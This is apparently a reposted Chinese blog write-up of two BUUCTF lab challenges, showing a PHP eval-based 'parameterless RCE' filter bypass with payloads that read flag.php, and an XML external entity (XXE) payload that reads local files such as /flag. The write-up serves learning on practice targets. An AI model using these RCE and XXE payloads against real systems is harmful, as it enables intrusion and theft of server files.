当前位置: 首页 > news >正文

buu做题(5)

目录

[GXYCTF2019]禁止套娃

方法一:

方法二:

[NCTF2019]Fake XML cookbook


[GXYCTF2019]禁止套娃

页面里啥也没有
使用dirsearch 扫一下目录
发现有 git
使用工具githack拉取源码
 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

禁用了各种php伪协议,

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

很明显的无参数rce , 只能使用函数, 里面不能有参数
后面的正则又过滤了很多东西, 很多函数用不了

方法一:

current(localeconv())永远都是个点 " . " 配合 scandir(current(localeconv())) 读取当前的目录
可以看到需要的flag.php文件 , 要想办法读到这个文件

 

next() : 将内部指针指向数组中的下一个元素

array_reverse() : 函数以相反的元素顺序返回数组

?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

方法二:

session_id()可以用来获取 设置当前会话 ID。 那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。

在使用 session_id()的时候 需要使用session_start()来开启session会话

控制 cookie  的 PHPSESSID 为flag.php 从而读取这个文件

?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php

在这里本来还想着是否能够命令执行来着
但是好像也只能列出来, 无法读取

cat flag.php不了
ls 也只能读当前目录 , 想要读根目录也不行 
估计是空格的原因, 毕竟这里是PHPSESSID= 的内容

可以执行 whoami , id 这种单独的一个命令的

[NCTF2019]Fake XML cookbook

一个登录框

抓包看看
格式感觉有点奇怪

题目提示 xml
查看源代码. 分析

[NCTF2019]Fake XML cookbook(特详解) - 技术栈

XML实体注入漏洞(XXE)
(这一块的内容也还不是很了解, 后面还得继续学习一下)

读取flag:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY admin SYSTEM "file:///flag">
]>

<user><username>&admin;</username><password>1123</password></user>

不晓得为啥总是读取不了 , file:///etc/passwd 也读不了, 也不晓得是啥原因
 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • layui前端开发-记录一次弹窗嵌套表格功能的开发
  • 科研绘图系列:R语言circos图(circos plot)
  • C++那些事之依赖注入
  • Vulnhub靶场DC-7练习
  • 恶补,先验分布,后验分布 ,似然估计
  • 【ELK】简述
  • 【深度学习入门篇 ⑩】Seq2Seq模型:语言翻译
  • 【一次记一句:SQL】从 information_schema.TABLES中查询数据库表中记录数据量
  • win安装mysql
  • windows中使用Jenkins打包,部署vue项目完整操作流程
  • Linux驱动开发-06蜂鸣器和多组GPIO控制
  • pyqt/pyside QTableWidget失去焦点后,选中的行仍高亮的显示
  • uniapp小程序项目解决键盘问题
  • 无人机的发展前景大吗?
  • 23种设计模式之命令模式
  • (三)从jvm层面了解线程的启动和停止
  • 《Javascript高级程序设计 (第三版)》第五章 引用类型
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • Bootstrap JS插件Alert源码分析
  • Brief introduction of how to 'Call, Apply and Bind'
  • CSS选择器——伪元素选择器之处理父元素高度及外边距溢出
  • JSDuck 与 AngularJS 融合技巧
  • Node 版本管理
  • TypeScript实现数据结构(一)栈,队列,链表
  • 闭包--闭包之tab栏切换(四)
  • 近期前端发展计划
  • 容器化应用: 在阿里云搭建多节点 Openshift 集群
  • 使用API自动生成工具优化前端工作流
  • 事件委托的小应用
  • 手机端车牌号码键盘的vue组件
  • 通信类
  • 因为阿里,他们成了“杭漂”
  • 阿里云ACE认证之理解CDN技术
  • 关于Android全面屏虚拟导航栏的适配总结
  • # wps必须要登录激活才能使用吗?
  • #QT(QCharts绘制曲线)
  • %3cli%3e连接html页面,html+canvas实现屏幕截取
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (1)Android开发优化---------UI优化
  • (33)STM32——485实验笔记
  • (M)unity2D敌人的创建、人物属性设置,遇敌掉血
  • (pytorch进阶之路)扩散概率模型
  • (附源码)计算机毕业设计ssm基于B_S的汽车售后服务管理系统
  • (九)c52学习之旅-定时器
  • (强烈推荐)移动端音视频从零到上手(下)
  • (实测可用)(3)Git的使用——RT Thread Stdio添加的软件包,github与gitee冲突造成无法上传文件到gitee
  • (五)关系数据库标准语言SQL
  • (学习日记)2024.03.12:UCOSIII第十四节:时基列表
  • (一)appium-desktop定位元素原理
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .net core 外观者设计模式 实现,多种支付选择
  • .Net Core 微服务之Consul(二)-集群搭建
  • .NET MVC第三章、三种传值方式
  • .net web项目 调用webService